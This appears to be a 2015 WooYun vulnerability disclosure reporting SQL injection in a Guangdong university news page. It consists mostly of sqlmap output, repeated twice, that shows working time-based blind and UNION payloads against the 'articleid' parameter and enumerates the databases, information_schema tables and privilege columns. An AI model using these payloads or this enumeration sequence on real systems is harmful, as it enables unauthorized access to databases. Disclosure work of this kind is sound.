当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0135583

漏洞标题:广东石油化工学院 SQL注入

相关厂商:广东石油化工学院

漏洞作者: dami

提交时间:2015-08-20 16:26

修复时间:2015-10-08 08:36

公开时间:2015-10-08 08:36

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-20: 细节已通知厂商并且等待厂商处理中
2015-08-24: 厂商已经确认,细节仅向厂商公开
2015-09-03: 细节向核心白帽子及相关领域专家公开
2015-09-13: 细节向普通白帽子公开
2015-09-23: 细节向实习白帽子公开
2015-10-08: 细节向公众公开

简要描述:

广东石油化工学院 某处存在SQL注入

详细说明:

D:\tool\sqlmap>sqlmap.py -u **.**.**.**/mmcnews/viewnews.php?articleid=12737
21768 --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150803}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 12:42:45
[12:42:45] [INFO] resuming back-end DBMS 'mysql'
[12:42:45] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: articleid (GET)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: articleid=1273721768' AND (SELECT * FROM (SELECT(SLEEP(5)))RvrP) AN
D 'IuIv'='IuIv
Type: UNION query
Title: Generic UNION query (NULL) - 10 columns
Payload: articleid=-8371' UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x716a
786b71,0x4f72434f7a7746534a55,0x71786b6a71),NULL,NULL,NULL,NULL,NULL--
---
[12:42:45] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.1.6
back-end DBMS: MySQL 5.0.12
[12:42:45] [INFO] fetching database names
[12:42:45] [INFO] the SQL query used returns 3 entries
[12:42:45] [INFO] resumed: information_schema
[12:42:45] [INFO] resumed: mmcnews
[12:42:45] [INFO] resumed: test
available databases [3]:
[*] information_schema
[*] mmcnews
[*] test
[12:42:46] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\**.**.**.**'
[*] shutting down at 12:42:46
D:\tool\sqlmap>
D:\tool\sqlmap>
D:\tool\sqlmap>sqlmap.py -u **.**.**.**/mmcnews/viewnews.php?articleid=12737
21768 -D information_schema -t
Usage: sqlmap.py [options]
sqlmap.py: error: -t option requires an argument
Press Enter to continue...
D:\tool\sqlmap>sqlmap.py -u **.**.**.**/mmcnews/viewnews.php?articleid=12737
21768 -D information_schema --table
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150803}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 12:44:43
[12:44:44] [INFO] resuming back-end DBMS 'mysql'
[12:44:44] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: articleid (GET)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: articleid=1273721768' AND (SELECT * FROM (SELECT(SLEEP(5)))RvrP) AN
D 'IuIv'='IuIv
Type: UNION query
Title: Generic UNION query (NULL) - 10 columns
Payload: articleid=-8371' UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x716a
786b71,0x4f72434f7a7746534a55,0x71786b6a71),NULL,NULL,NULL,NULL,NULL--
---
[12:44:44] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.1.6
back-end DBMS: MySQL 5.0.12
[12:44:44] [INFO] fetching tables for database: 'information_schema'
[12:44:44] [INFO] the SQL query used returns 17 entries
[12:44:44] [INFO] retrieved: CHARACTER_SETS
[12:44:44] [INFO] retrieved: COLLATIONS
[12:44:44] [INFO] retrieved: COLLATION_CHARACTER_SET_APPLICABILITY
[12:44:44] [INFO] retrieved: COLUMNS
[12:44:44] [INFO] retrieved: COLUMN_PRIVILEGES
[12:44:44] [INFO] retrieved: KEY_COLUMN_USAGE
[12:44:44] [INFO] retrieved: PROFILING
[12:44:44] [INFO] retrieved: ROUTINES
[12:44:44] [INFO] retrieved: SCHEMATA
[12:44:44] [INFO] retrieved: SCHEMA_PRIVILEGES
[12:44:45] [INFO] retrieved: STATISTICS
[12:44:45] [INFO] retrieved: TABLES
[12:44:45] [INFO] retrieved: TABLE_CONSTRAINTS
[12:44:45] [INFO] retrieved: TABLE_PRIVILEGES
[12:44:45] [INFO] retrieved: TRIGGERS
[12:44:45] [INFO] retrieved: USER_PRIVILEGES
[12:44:45] [INFO] retrieved: VIEWS
Database: information_schema
[17 tables]
+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| KEY_COLUMN_USAGE |
| PROFILING |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| STATISTICS |
| TABLES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| USER_PRIVILEGES |
| VIEWS |
+---------------------------------------+
[12:44:45] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\**.**.**.**'
[*] shutting down at 12:44:45
D:\tool\sqlmap>sqlmap.py -u **.**.**.**/mmcnews/viewnews.php?articleid=12737
21768 -D information_schema -T USER_PRIVILEGES --columns
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150803}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 12:45:46
[12:45:47] [INFO] resuming back-end DBMS 'mysql'
[12:45:47] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: articleid (GET)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: articleid=1273721768' AND (SELECT * FROM (SELECT(SLEEP(5)))RvrP) AN
D 'IuIv'='IuIv
Type: UNION query
Title: Generic UNION query (NULL) - 10 columns
Payload: articleid=-8371' UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x716a
786b71,0x4f72434f7a7746534a55,0x71786b6a71),NULL,NULL,NULL,NULL,NULL--
---
[12:45:47] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.1.6
back-end DBMS: MySQL 5.0.12
[12:45:47] [INFO] fetching columns for table 'USER_PRIVILEGES' in database 'info
rmation_schema'
[12:45:47] [INFO] the SQL query used returns 4 entries
[12:45:47] [INFO] retrieved: "GRANTEE","varchar(81)"
[12:45:47] [INFO] retrieved: "TABLE_CATALOG","varchar(512)"
[12:45:47] [INFO] retrieved: "PRIVILEGE_TYPE","varchar(64)"
[12:45:47] [INFO] retrieved: "IS_GRANTABLE","varchar(3)"
Database: information_schema
Table: USER_PRIVILEGES
[4 columns]
+----------------+--------------+
| Column | Type |
+----------------+--------------+
| GRANTEE | varchar(81) |
| IS_GRANTABLE | varchar(3) |
| PRIVILEGE_TYPE | varchar(64) |
| TABLE_CATALOG | varchar(512) |
+----------------+--------------+
[12:45:48] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\**.**.**.**'

漏洞证明:

D:\tool\sqlmap>sqlmap.py -u **.**.**.**/mmcnews/viewnews.php?articleid=12737
21768 --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150803}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 12:42:45
[12:42:45] [INFO] resuming back-end DBMS 'mysql'
[12:42:45] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: articleid (GET)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: articleid=1273721768' AND (SELECT * FROM (SELECT(SLEEP(5)))RvrP) AN
D 'IuIv'='IuIv
Type: UNION query
Title: Generic UNION query (NULL) - 10 columns
Payload: articleid=-8371' UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x716a
786b71,0x4f72434f7a7746534a55,0x71786b6a71),NULL,NULL,NULL,NULL,NULL--
---
[12:42:45] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.1.6
back-end DBMS: MySQL 5.0.12
[12:42:45] [INFO] fetching database names
[12:42:45] [INFO] the SQL query used returns 3 entries
[12:42:45] [INFO] resumed: information_schema
[12:42:45] [INFO] resumed: mmcnews
[12:42:45] [INFO] resumed: test
available databases [3]:
[*] information_schema
[*] mmcnews
[*] test
[12:42:46] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\**.**.**.**'
[*] shutting down at 12:42:46
D:\tool\sqlmap>
D:\tool\sqlmap>
D:\tool\sqlmap>sqlmap.py -u **.**.**.**/mmcnews/viewnews.php?articleid=12737
21768 -D information_schema -t
Usage: sqlmap.py [options]
sqlmap.py: error: -t option requires an argument
Press Enter to continue...
D:\tool\sqlmap>sqlmap.py -u **.**.**.**/mmcnews/viewnews.php?articleid=12737
21768 -D information_schema --table
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150803}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 12:44:43
[12:44:44] [INFO] resuming back-end DBMS 'mysql'
[12:44:44] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: articleid (GET)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: articleid=1273721768' AND (SELECT * FROM (SELECT(SLEEP(5)))RvrP) AN
D 'IuIv'='IuIv
Type: UNION query
Title: Generic UNION query (NULL) - 10 columns
Payload: articleid=-8371' UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x716a
786b71,0x4f72434f7a7746534a55,0x71786b6a71),NULL,NULL,NULL,NULL,NULL--
---
[12:44:44] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.1.6
back-end DBMS: MySQL 5.0.12
[12:44:44] [INFO] fetching tables for database: 'information_schema'
[12:44:44] [INFO] the SQL query used returns 17 entries
[12:44:44] [INFO] retrieved: CHARACTER_SETS
[12:44:44] [INFO] retrieved: COLLATIONS
[12:44:44] [INFO] retrieved: COLLATION_CHARACTER_SET_APPLICABILITY
[12:44:44] [INFO] retrieved: COLUMNS
[12:44:44] [INFO] retrieved: COLUMN_PRIVILEGES
[12:44:44] [INFO] retrieved: KEY_COLUMN_USAGE
[12:44:44] [INFO] retrieved: PROFILING
[12:44:44] [INFO] retrieved: ROUTINES
[12:44:44] [INFO] retrieved: SCHEMATA
[12:44:44] [INFO] retrieved: SCHEMA_PRIVILEGES
[12:44:45] [INFO] retrieved: STATISTICS
[12:44:45] [INFO] retrieved: TABLES
[12:44:45] [INFO] retrieved: TABLE_CONSTRAINTS
[12:44:45] [INFO] retrieved: TABLE_PRIVILEGES
[12:44:45] [INFO] retrieved: TRIGGERS
[12:44:45] [INFO] retrieved: USER_PRIVILEGES
[12:44:45] [INFO] retrieved: VIEWS
Database: information_schema
[17 tables]
+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| KEY_COLUMN_USAGE |
| PROFILING |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| STATISTICS |
| TABLES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| USER_PRIVILEGES |
| VIEWS |
+---------------------------------------+
[12:44:45] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\**.**.**.**'
[*] shutting down at 12:44:45
D:\tool\sqlmap>sqlmap.py -u **.**.**.**/mmcnews/viewnews.php?articleid=12737
21768 -D information_schema -T USER_PRIVILEGES --columns
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150803}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 12:45:46
[12:45:47] [INFO] resuming back-end DBMS 'mysql'
[12:45:47] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: articleid (GET)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: articleid=1273721768' AND (SELECT * FROM (SELECT(SLEEP(5)))RvrP) AN
D 'IuIv'='IuIv
Type: UNION query
Title: Generic UNION query (NULL) - 10 columns
Payload: articleid=-8371' UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x716a
786b71,0x4f72434f7a7746534a55,0x71786b6a71),NULL,NULL,NULL,NULL,NULL--
---
[12:45:47] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.1.6
back-end DBMS: MySQL 5.0.12
[12:45:47] [INFO] fetching columns for table 'USER_PRIVILEGES' in database 'info
rmation_schema'
[12:45:47] [INFO] the SQL query used returns 4 entries
[12:45:47] [INFO] retrieved: "GRANTEE","varchar(81)"
[12:45:47] [INFO] retrieved: "TABLE_CATALOG","varchar(512)"
[12:45:47] [INFO] retrieved: "PRIVILEGE_TYPE","varchar(64)"
[12:45:47] [INFO] retrieved: "IS_GRANTABLE","varchar(3)"
Database: information_schema
Table: USER_PRIVILEGES
[4 columns]
+----------------+--------------+
| Column | Type |
+----------------+--------------+
| GRANTEE | varchar(81) |
| IS_GRANTABLE | varchar(3) |
| PRIVILEGE_TYPE | varchar(64) |
| TABLE_CATALOG | varchar(512) |
+----------------+--------------+
[12:45:48] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\**.**.**.**'

修复方案:

随便吧,反正不会被重视

版权声明:转载请注明来源 dami@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2015-08-24 08:34

厂商回复:

通知处理中

最新状态:

暂无